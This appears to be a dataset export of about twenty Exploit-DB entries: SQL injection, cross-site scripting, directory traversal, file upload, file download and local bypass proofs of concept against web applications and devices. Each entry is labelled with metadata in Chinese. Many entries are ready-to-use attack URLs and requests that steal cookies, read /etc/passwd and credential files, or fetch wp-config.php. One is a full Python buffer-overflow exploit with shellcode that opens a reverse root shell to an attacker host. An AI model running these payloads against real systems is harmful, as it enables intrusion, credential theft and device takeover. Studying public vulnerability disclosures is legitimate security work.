QLWD/code_shield huggingface dataset:
标题: OSClass 2.3.3 - 'index.php?sCategory' SQL Injection EDB-ID: 36625 CVE: 2012-0973 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/51662/info

OSClass is prone to SQL-injection and cross-site scripting vulnerabilities.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OSClass 2.3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=search&sCategory[]=0%27%20OR%20%28SELECT%20MID%28version%28%29,1,1% 29%29=5%29%20d%20--%202 URL: https://www.exploit-db.com/exploits/36625
标题: Ericsson Drutt MSDP (Instance Monitor) - Directory Traversal EDB-ID: 36619 CVE: 2015-2166 类型: WEBAPPS 平台: LINUX 发布日期: 2015-04-02 漏洞利用脚本: +------------------------------------------------------------------------------------------------------+
+ Ericsson Drutt MSDP (Instance Monitor) - Directory Traversal Vulnerability and Arbitrary File Access +
+------------------------------------------------------------------------------------------------------+
Affected Product: Ericsson Drutt MSDP (Instance Monitor)
Vendor Homepage  : www.ericsson.com
Version    : 4, 5 and 6 
CVE v2 Vector  : AV:N/AC:L/Au:N/C:P/I:N/A:N
CVE    : CVE-2015-2166
Discovered by  : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched    : Yes

+-------------+
+ Description +
+-------------+
Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf.

The identified vulnerability affects the Instance Monitor component and allows a unauthenticated remote attacker to access arbitrary files on the file system. 

+----------------------+
+ Exploitation Details +
+----------------------+
This vulnerability can be triggered via a simple, similar to the below HTTP GET request(s):

  http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
  http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt/drutt/msdp/manager/conf/props/msdp-users.properties
  http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/opt/drutt/msdp/manager/conf/ccContext.properties

+---------------------+
+ Disclosure Timeline +
+---------------------+
17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback
24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office
24.Feb.2015 - Contacted Corporate Security Office team
02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel
02.Mar.2015 - Shared vulnerability details
06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches
08.Mar.2015 - Agreed on public disclosure timelines
12.Mar.2015 - Patches released
31.Mar.2015 - Public disclosure URL: https://www.exploit-db.com/exploits/36619
标题: OSClass 2.3.3 - 'index.php?getParam()' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36626 CVE: 2012-0974 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/51662/info
 
OSClass is prone to SQL-injection and cross-site scripting vulnerabilities.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
OSClass 2.3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=search&sCity=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/scrip t%3E

http://www.example.com/index.php?page=search&sPattern=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E

http://www.example.com/index.php?page=search&sPriceMax=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E

http://www.example.com/index.php?page=search&sPriceMin=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E URL: https://www.exploit-db.com/exploits/36626
标题: WordPress Plugin Simple Ads Manager - Information Disclosure EDB-ID: 36615 CVE: 2015-2826 类型: WEBAPPS 平台: PHP 发布日期: 2015-04-02 漏洞利用脚本: #Vulnerability title: Wordpress plugin Simple Ads Manager - Information Disclosure
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94 and 2.5.96
#Download link: https://wordpress.org/plugins/simple-ads-manager/
#CVE ID:  CVE-2015-2826
#Author: Nguyen Hung Tuan (tuan.h.nguyen@itas.vn) & ITAS Team


::PROOF OF CONCEPT::

+ REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

action=load_users



+ Function list: load_users, load_authors, load_cats, load_tags, load_posts, posts_debug, load_stats,...
+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php
+ Image: http://www.itas.vn/uploads/newsother/disclosure.png

+ REFERENCE: 
- http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilities-in-Hakin9-IT-Security-Magazine-78.html?language=en URL: https://www.exploit-db.com/exploits/36615
标题: WordPress Plugin Simple Ads Manager 2.5.94 - Arbitrary File Upload EDB-ID: 36614 CVE: 2015-2825 类型: WEBAPPS 平台: PHP 发布日期: 2015-04-02 漏洞利用脚本: #Vulnerability title: Wordpress plugin Simple Ads Manager - Arbitrary File Upload
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94
#Download link: https://wordpress.org/plugins/simple-ads-manager/
#CVE ID: CVE-2015-2825
#Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team


::PROOF OF CONCEPT::

+ REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: targer.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------108989518220095255551617421026
Content-Length: 683

-----------------------------108989518220095255551617421026
Content-Disposition: form-data; name="uploadfile"; filename="info.php"
Content-Type: application/x-php

<?php phpinfo(); ?>
-----------------------------108989518220095255551617421026
Content-Disposition: form-data; name="action"

upload_ad_image
-----------------------------108989518220095255551617421026—


+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php

+ Vulnerable code: from line 303 to 314

    case 'sam_ajax_upload_ad_image':
      if(isset($_POST['path'])) {
        $uploadDir = $_POST['path'];
        $file = $uploadDir . basename($_FILES['uploadfile']['name']);

        if ( move_uploaded_file( $_FILES['uploadfile']['tmp_name'], $file )) {
          $out = array('status' => "success");
        } else {
          $out = array('status' => "error");
        }
      }
      break;
   
   
+ REFERENCE: 
- http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilities-in-Hakin9-IT-Security-Magazine-78.html?language=en
- https://www.youtube.com/watch?v=8IU9EtUTkxI URL: https://www.exploit-db.com/exploits/36614
标题: Joomla! Component com_kp - 'Controller' Local File Inclusion EDB-ID: 36598 CVE: 2011-4804 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/51623/info

The 'com_kp' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_kp&controller=[LFI] URL: https://www.exploit-db.com/exploits/36598
标题: Joomla! Component Vik Real Estate 1.0 - Multiple SQL Injections EDB-ID: 36592 CVE: 2011-4823 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/51617/info

The 'com_sanpham' component for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_sanpham&view=sanpham&kindid=[SQLi]
http://www.example.com/index.php?option=com_sanpham&view=product&task=detail&modelsid=1&cid=[SQLi]
http://www.example.com/index.php?option=com_sanpham&view=product&modelsid=[SQLi]
http://www.example.com/index.php?option=com_sanpham&view=product&markid=1&modelsid=[SQLi] URL: https://www.exploit-db.com/exploits/36592
标题: Acidcat ASP CMS 3.5 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36588 CVE: 2012-0933 类型: WEBAPPS 平台: ASP 发布日期: 2012-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/51608/info

Acidcat ASP CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Acidcat ASP CMS 3.5.1 and 3.5.2 are vulnerable; other versions may also be affected. 

http://www.example.com/admin/admin_colors.asp?"><script>alert('XSS')</script>

http://www.example.com/admin/admin_config.asp?"><script>alert('XSS')</script>

http://www.example.com/admin/admin_cat_add.asp?"><script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/36588
标题: Snitz Forums 2000 - 'TOPIC_ID' SQL Injection EDB-ID: 36585 CVE: 2012-5313 类型: WEBAPPS 平台: ASP 发布日期: 2012-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/51596/info

Snitz Forums 2000 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/forum.asp?TOPIC_ID=[SQL] URL: https://www.exploit-db.com/exploits/36585
标题: Tribiq CMS - 'index.php' SQL Injection EDB-ID: 36590 CVE: 2012-5312 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/51614/info

Tribiq CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?id=[SQLi] URL: https://www.exploit-db.com/exploits/36590
标题: OneOrZero AIMS - 'index.php' Cross-Site Scripting EDB-ID: 36582 CVE: 2012-0989 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/51549/info

OneOrZero AIMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

OneOrZero AIMS 2.8.0 Trial build 231211 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/36582
标题: Freelance Zone - 'show_code.php' SQL Injection EDB-ID: 36574 CVE: 2012-6526 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/51533/info

Freelance Zone is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/freelance/show_code.php?code_id=8â??a URL: https://www.exploit-db.com/exploits/36574
标题: Rockwell Automation FactoryTalk Activation Server - Multiple Denial of Service Vulnerabilities EDB-ID: 36570 CVE: 2012-0221 类型: DOS 平台: MULTIPLE 发布日期: 2012-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/51444/info

Rockwell Automation FactoryTalk Activation Server is prone to multiple remote denial-of-service vulnerabilities.

An attacker can exploit these issues to crash the affected application, denying service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36570.zip URL: https://www.exploit-db.com/exploits/36570
标题: OverlayFS inode Security Checks - 'inode.c' Local Security Bypass EDB-ID: 36571 CVE: 2012-0055 类型: LOCAL 平台: LINUX 发布日期: 2012-01-17 漏洞利用脚本: #source: https://www.securityfocus.com/bid/51529/info

#OverlayFS is prone to a local security-bypass vulnerability.

#Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions. 



#!/bin/bash

ddir=`cat /proc/self/mountinfo | grep cgroup | grep devices | awk '{ print $5 }'`
if [ "x$ddir" = "x" ]; then
 echo "couldn't find devices cgroup mountpoint"
 exit 1
fi

# create new cgroup
ndir=`mktemp -d --tmpdir=$ddir exploit-XXXX`

# create a directory onto which we mount the overlay
odir=`mktemp -d --tmpdir=/mnt exploit-XXXX`

# create the directory to be the overlay dir (where changes
# will be written)
udir=`mktemp -d --tmpdir=/tmp exploit-XXX`

mount -t overlayfs -oupperdir=$udir,lowerdir=/dev none $odir
echo $$ > $ndir/tasks
# deny all device actions
echo a > $ndir/devices.deny
# but allow mknod of tty7, bc we have to mknod it in the writeable
# overlay
echo "c 4:5 m" > $ndir/devices.allow
echo "devices.list: XXXXXXXXXXXXXXX"
cat $ndir/devices.list
echo "XXXXXXXXXXXX"

# try writing to /dev/tty5 - not allowed
echo x > /dev/tty5
echo "write to /dev/tty5 returned $?"

# try writing to tty5 on the overlayfs - SHOULD not be allowed
echo y > $odir/tty5
echo "write to $odir/tty5 returned $?"

umount $odir
rmdir $odir
rm -rf $udir

# move ourselves back to root cgroup (else we can't delete the temp one
# bc it's occupied - by us)
echo $$ > $ddir/tasks
rmdir $ndir URL: https://www.exploit-db.com/exploits/36571
标题: Annuaire PHP - 'sites_inscription.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36569 CVE: 2012-0899 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/51434/info

Annuaire PHP is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/referencement/sites_inscription.php?nom=xss&url=[xss] URL: https://www.exploit-db.com/exploits/36569
标题: Airties Air5650TT - Remote Stack Overflow EDB-ID: 36577 CVE: 2015-2797 类型: REMOTE 平台: MULTIPLE 发布日期: 2015-03-31 漏洞利用脚本: #!/usr/bin/env python
#####################################################################################
# Exploit for the AIRTIES Air5650v3TT 
# Spawns a reverse root shell
# Author: Batuhan Burakcin
# Contact: batuhan@bmicrosystems.com
# Twitter: @batuhanburakcin
# Web: http://www.bmicrosystems.com
#####################################################################################

import sys
import time
import string
import socket, struct
import urllib, urllib2, httplib





if __name__ == '__main__':
 



 try:
  ip = sys.argv[1]
  revhost = sys.argv[2]
  revport = sys.argv[3]
 except:
  print "Usage: %s <target ip> <reverse shell ip> <reverse shell port>" % sys.argv[0]

 host = struct.unpack('>L',socket.inet_aton(revhost))[0] 
 port = string.atoi(revport)


 shellcode = ""
 shellcode += "\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd"
 shellcode += "\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff"
 shellcode += "\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0"
 shellcode += "\x3c\x0e" + struct.unpack('>cc',struct.pack('>H', port))[0] + struct.unpack('>cc',struct.pack('>H', port))[1]
 shellcode += "\x35\xce" + struct.unpack('>cc',struct.pack('>H', port))[0] + struct.unpack('>cc',struct.pack('>H', port))[1]
 shellcode += "\xaf\xae\xff\xe4"
 shellcode += "\x3c\x0e" + struct.unpack('>cccc',struct.pack('>I', host))[0] + struct.unpack('>cccc',struct.pack('>I', host))[1]
 shellcode += "\x35\xce" + struct.unpack('>cccc',struct.pack('>I', host))[2] + struct.unpack('>cccc',struct.pack('>I', host))[3]
 shellcode += "\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27"
 shellcode += "\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x11\xff\xfd\x02\x20\x88\x27"
 shellcode += "\x8f\xa4\xff\xff\x02\x20\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c"
 shellcode += "\x24\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff"
 shellcode += "\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f"
 shellcode += "\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec"
 shellcode += "\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab"
 shellcode += "\x01\x01\x01\x0c"


 data = "\x41"*359 + "\x2A\xB1\x19\x18" + "\x41"*40 + "\x2A\xB1\x44\x40" 
 data += "\x41"*12 + "\x2A\xB0\xFC\xD4" + "\x41"*16 + "\x2A\xB0\x7A\x2C" 
 data += "\x41"*28 + "\x2A\xB0\x30\xDC" + "\x41"*240 + shellcode + "\x27\xE0\xFF\xFF"*48

 pdata = {
  'redirect'  : data,
  'self'   : '1',
  'user'   : 'tanri',
  'password'  : 'ihtiyacmyok',
  'gonder'  : 'TAMAM'
  }

 login_data = urllib.urlencode(pdata)
 #print login_data

 url = 'http://%s/cgi-bin/login' % ip
 header = {}
 req = urllib2.Request(url, login_data, header)
 rsp = urllib2.urlopen(req) URL: https://www.exploit-db.com/exploits/36577
标题: ATutor 2.0.3 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36565 CVE: 2012-6528 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/51423/info

ATutor is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ATutor 2.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/ATutor/themes/default/tile_search/index.tmpl.php/" <script>alert(document.cookie)</script>
http://www.example.com/ATutor/login.php/index.php" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/search.php/index.php" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/password_reminder.php" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/login.php/jscripts/infusion/" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/login.php/mods/_standard/flowplayer/" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/browse.php/jscripts/infusion/framework/fss/" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/registration.php/themes/default/ie_styles.css" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/about.php/" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/themes/default/social/basic_profile.tmpl.php/" <script>alert(document.cookie)</script>/index.php URL: https://www.exploit-db.com/exploits/36565
标题: WordPress Plugin Slider REvolution 4.1.4 - Arbitrary File Download EDB-ID: 36554 CVE: 2015-1579 2014-9734 类型: WEBAPPS 平台: PHP 发布日期: 2015-03-30 漏洞利用脚本: # Exploit Title : WordPress Slider Revolution Responsive <= 4.1.4 Arbitrary File Download vulnerability

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://codecanyon.net/item/slider-revolution-responsive-wordpress-plugin/2751380

# Software Link : Premium plugin

# Dork Google: revslider.php "index of"
               

# Date : 2014-07-24

# Tested on : Windows 7 / Mozilla Firefox
              Linux / Mozilla Firefox


######################

# Description

Wordpress Slider Revolution Responsive <= 4.1.4 suffers from Arbitrary File Download vulnerability


######################

# PoC

http://localhost/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php


#####################

Discovered By : Claudio Viviani

        http://www.homelab.it
        info@homelab.it
        homelabit@protonmail.ch

        https://www.facebook.com/homelabit
        https://twitter.com/homelabit
        https://plus.google.com/+HomelabIt1/
        https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

##################### URL: https://www.exploit-db.com/exploits/36554
标题: Joomla! Component Contact Form Maker 1.0.1 - SQL Injection EDB-ID: 36561 CVE: 2015-2798 类型: WEBAPPS 平台: PHP 发布日期: 2015-03-30 漏洞利用脚本: [+]Title: Joomla Contact Form Maker v1.0.1 Component - SQL injection vulnerability
[+]Author: TUNISIAN CYBER
[+]Date: 29/03/2015
[+]Vendor: http://extensions.joomla.org/extensions/extension/contacts-and-feedback/contact-forms/contact-form-maker
[+]Type:WebApp
[+]Risk:High
[+]Overview:
Contact Form Maker v1.0.1 suffers, from an SQL injection vulnerability.
   
[+]Proof Of Concept:
  
127.0.0.1/index.php?option=com_contactformmaker&view=contactformmaker&id=SQL URL: https://www.exploit-db.com/exploits/36561
标题: Beehive Forum 101 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36566 CVE: 2012-0900 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/51424/info

Beehive Forum 101 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/forum/register.php?'[xss]
http://www.example.com/forum/register.php/''[xss]
http://www.example.com/forum/logon.php?'"'[xss]
http://www.example.com/forum/logon.php/'"'[xss] URL: https://www.exploit-db.com/exploits/36566
标题: MailEnable 6.02 - 'ForgottonPassword.aspx' Cross-Site Scripting EDB-ID: 36547 CVE: 2012-0389 类型: WEBAPPS 平台: ASP 发布日期: 2012-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/51401/info

MailEnable is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

The following MailEnable versions are vulnerable:
Professional, Enterprise, and Premium 4.26 and prior versions
Professional, Enterprise, and Premium 5.52 and prior versions
Professional, Enterprise, and Premium 6.02 and prior versions 

http://example.com/mewebmail/Mondo/lang/sys/ForgottenPassword.aspx?Username=[xss] URL: https://www.exploit-db.com/exploits/36547